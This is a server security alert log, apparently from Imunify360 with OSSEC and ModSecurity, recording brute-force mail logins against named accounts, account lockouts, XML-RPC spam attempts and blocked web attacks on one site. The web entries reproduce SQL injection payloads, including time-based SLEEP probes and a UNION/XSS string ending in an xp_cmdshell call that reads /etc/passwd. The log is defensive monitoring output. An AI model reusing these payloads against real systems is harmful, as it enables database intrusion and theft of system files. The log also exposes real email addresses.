Feb  1 14:48:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:48:17 dovecot_login authenticator failed for H=(p0NXkj) [178.16.52.139]:63110: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.159
country_id: 99237
description:
2026-02-01 14:48:51 dovecot_plain authenticator failed for H=(rhint) [65.20.143.159]:50634: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:48:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53451: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:48:08 dovecot_login authenticator failed for H=(zL2d0ijnN) [178.16.54.22]:65444: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:48:10 dovecot_login authenticator failed for H=(gMu8CI) [158.94.208.175]:60139: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:49:03 dovecot_login authenticator failed for H=(EdFNGOe) [178.16.52.139]:50872: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:49:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60370: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:49:19 dovecot_login authenticator failed for H=(fxOdEff5W) [178.16.54.22]:51640: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:49:28 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:49:45 dovecot_login authenticator failed for H=(N7EyFbd) [158.94.208.175]:52602: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:49:51 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40602: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:50:23 dovecot_login authenticator failed for H=(vZ1MCE3) [178.16.52.139]:61178: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:50:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57675: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:50:33 dovecot_login authenticator failed for H=(Qws5Um) [178.16.54.22]:59635: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.116
country_id: 1269750
description:
2026-02-01 14:50:41 dovecot_login authenticator failed for H=(nsg-corporate-116.230.187.122.airtel.in) [122.187.230.116]:54742: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:50:43 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-02-01 14:50:50 dovecot_login authenticator failed for H=([125.18.43.161]) [128.185.209.30]:45362: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:50:03 dovecot_login authenticator failed for H=(V3Oss3) [158.94.208.175]:55344: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:51:13 dovecot_login authenticator failed for H=(CxpHQNSl7) [178.16.54.22]:52272: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.166
country_id: 2635167
description:
2026-02-01 14:51:23 227737 [Warning] Aborted connection 227737 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.166' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.222
country_id: 1819730
description:
2026-02-01 14:51:36 dovecot_login authenticator failed for H=222.42.246.220.static.netvigator.com [220.246.42.222]:60726: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:51:36 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:51:03 dovecot_login authenticator failed for H=(NC2nUOT) [178.16.52.139]:63161: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:51:21 dovecot_login authenticator failed for H=(CYBVJJ) [158.94.208.175]:57046: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:51:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64669: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-01 14:51:48 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:53754: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:51:58 dovecot_login authenticator failed for H=(IaHRt1KP) [178.16.52.139]:63093: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:52:08 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42106: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:EuHg||MV:8444 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:52:23 dovecot_login authenticator failed for H=(4xXNn98) [158.94.208.175]:58542: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 14:52:53 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:52004: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:95658.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:abf029b18ac7d73cee5d1a3bbbc47ff7261827c1||Title:0xb557b547||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.198.129.123
country_id: 1819730
description:
2026-02-01 14:52:03 dovecot_login authenticator failed for H=123.129.198.203.static.netvigator.com [203.198.129.123]:58321: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:52:08 dovecot_login authenticator failed for H=(GE3u9v4d) [178.16.52.139]:57813: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 14:52:08 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:49697: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:52:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54392: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible XSS in arguments||MV:8444 and 1=1 union all select 1,null,'<script>alert(\"xss\")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77211190
name: IM360 WAF: Remote File Access Attempt
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Remote File Access Attempt||MVN:ARGS:EuHg||MV:8444 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.220.17.18
country_id: 2287781
description:
2026-02-01 14:52:31 dovecot_login authenticator failed for H=([102.220.17.17]) [102.220.17.18]:34776: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:EuHg||MV:8444 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:52:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:EuHg||MV:8444 and 1=1 union all select 1,null,'<script>alert(\"xss\")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.4.199.164
country_id: 1814991
description:
2026-02-01 14:53:12 dovecot_login authenticator failed for H=([122.4.199.164]) [122.4.199.164]:20775: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1) AND (SELECT 1033 FROM (SELECT(SLEEP(10)))ecuV)-- wKcY||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.222.54
country_id: 1269750
description:
2026-02-01 14:53:39 dovecot_login authenticator failed for H=([125.22.140.89]) [122.187.222.54]:49392: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.101.122
country_id: 1814991
description:
2026-02-01 14:53:54 dovecot_login authenticator failed for H=([111.26.101.122]) [111.26.101.122]:42916: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:53:08 dovecot_login authenticator failed for H=(US34f5zg) [158.94.208.175]:62383: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:key||MV:1) and (select 1033 from (select(sleep(10)))ecuv)-- wkcy||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1) and (select 1033 from (select(sleep(10)))ecuv)-- wkcy||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.208.65.46
country_id: 2017370
description:
2026-02-01 14:53:45 dovecot_login authenticator failed for H=(est.giport.ru) [82.208.65.46]:2484: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:53:17 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50351: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:53:26 dovecot_login authenticator failed for H=(StxcCJ9Q) [178.16.54.22]:65189: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:53:50 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 14:53:56 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:47182: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 14:53:03 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:45068: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:53:24 dovecot_login authenticator failed for H=(CoBOmg) [178.16.52.139]:61054: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:key||MV:1) AND (SELECT 1033 FROM (SELECT(SLEEP(10)))ecuV)-- wKcY||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01 14:53:35 227838 [Warning] Aborted connection 227838 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-02-01 14:53:46 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:46284: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:54:21 dovecot_login authenticator failed for H=(EFFoQPp4W) [178.16.52.139]:58378: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1\" AND (SELECT 1033 FROM (SELECT(SLEEP(10)))ecuV) AND \"yvqM\" LIKE \"yvqM||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:54:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56662: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:key||MV:1\" and (select 1033 from (select(sleep(10)))ecuv) and \"yvqm\" like \"yvqm||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:54:17 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35298: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:54:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:key||MV:1\" AND (SELECT 1033 FROM (SELECT(SLEEP(10)))ecuV) AND \"yvqM\" LIKE \"yvqM||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1\" and (select 1033 from (select(sleep(10)))ecuv) and \"yvqm\" like \"yvqm||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:54:11 dovecot_login authenticator failed for H=(AsASL87) [158.94.208.175]:52288: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:55:06 dovecot_login authenticator failed for H=(aHHNzqA) [178.16.52.139]:64515: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:key||MV:1)) and sleep(10) and ((9337 between 9337 and 9337||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:55:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:55:37 dovecot_login authenticator failed for H=(ZwjQAU5lqc) [178.16.54.22]:54777: 535 Incorrect authentication data (set_id=enquiry)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1)) AND SLEEP(10) AND ((9337 BETWEEN 9337 AND 9337||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:key||MV:1)) AND SLEEP(10) AND ((9337 BETWEEN 9337 AND 9337||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1)) and sleep(10) and ((9337 between 9337 and 9337||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:55:07 dovecot_login authenticator failed for H=(zSARbExO) [158.94.208.175]:61500: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:55:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52016: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:56:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1' OR SLEEP(10) AND 'rjoB'='rjoB||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1' or sleep(10) and 'rjob'='rjob||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e985eb6eb1152e8901f718301e73dd97e6ffa5db||Title:0x576c6a97||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:56:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57449: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:key||MV:1' OR SLEEP(10) AND 'rjoB'='rjoB||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:56:25 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55944: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:56:11 dovecot_login authenticator failed for H=(gB2kt1XE3) [178.16.52.139]:55231: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:56:26 dovecot_login authenticator failed for H=(kaUJKwlAmz) [158.94.208.175]:51724: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:56:11 dovecot_login authenticator failed for H=(n6opOawTV) [178.16.52.139]:64560: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:key||MV:1' or sleep(10) and 'rjob'='rjob||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 14:57:41 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:40742: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:57:40 dovecot_login authenticator failed for H=(Dlqaqkqp) [178.16.54.22]:53553: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:57:01 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63545: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1 OR SLEEP(10)#||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 14:57:15 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:44708: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:57:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:57:04 dovecot_login authenticator failed for H=(TGbqp4) [178.16.52.139]:53888: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1 or sleep(10)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:57:13 dovecot_login authenticator failed for H=(6D9VyyC) [158.94.208.175]:57405: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b2cea76cd575614dda528af2b522d4bb55f856d4||Title:0x328fae7b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:58:21 dovecot_login authenticator failed for H=(y9h2ECq) [178.16.54.22]:59709: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:58:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-02-01 14:58:22 dovecot_login authenticator failed for H=(dynamicip-95-79-108-51.pppoe.nn.ertelecom.ru) [95.79.108.51]:56703: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77391380
